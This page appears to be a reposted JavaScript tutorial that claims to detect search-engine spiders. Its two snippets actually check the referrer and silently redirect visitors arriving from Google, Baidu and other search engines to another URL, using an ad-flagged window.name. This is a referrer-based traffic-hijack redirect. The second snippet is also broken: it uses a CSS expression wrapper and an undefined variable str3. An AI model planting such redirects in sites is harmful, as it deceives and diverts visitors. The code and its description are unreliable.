Home >Web Front-end >JS Tutorial >How does js determine whether the access is from a search engine (Spider) or direct access_javascript skills

How does js determine whether the access is from a search engine (Spider) or direct access_javascript skills

WBOY
WBOYOriginal
2016-05-16 15:39:261766browse

The following javascript script code can determine whether the access comes from a search engine.
The code is as follows:

<script type="text/javascript">
if(window.name != 'ad_app6'){
var r = document.referrer;
r = r.toLowerCase(); //转为小写
var aSites = new Array('google.','baidu.','soso.','so.','360.','yahoo.','youdao.','sogou.','gougou.');
var b = false;
for (i in aSites){
if (r.indexOf(aSites[i]) > 0){
b = true;
break;
}
}
 
if(b)
{
self.location = '要跳转的网址';
window.adworkergo = 'ad_app6';
}
}
</script>

The JS script introduced to determine the source of spiders is written in the onload of the body. That is, the judgment is made when the page is loaded. The code is as follows:

body {onload:expression(
if(window.name!="Yang"){
var str1 = document.referrer;
str1 = str1.toLowerCase();
var str6 = 'google.';
var str7 = 'baidu.';
var str4 = 'yahoo.';
var str8 = 'youdao.';
var str9 = 'sogou.';
var str5 = 'soso.';
if(str1.indexOf(str7)>0 || str1.indexOf(str6)>0 || str1.indexOf(str4)>0 || str1.indexOf(str3)>0 || str1.indexOf(str8)>0 || str1.indexOf(str9)
 
>0 || str1.indexOf(str5)>0 && "zh-cn"==navigator.systemLanguage)
{
self.location='http://www.abc.com/';
window.name="Yang";
}
 
}
);}

This JS method of determining the source of spiders is not easy to use. Especially when more spider sources need to be determined, it is more troublesome to write code.

Statement:
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn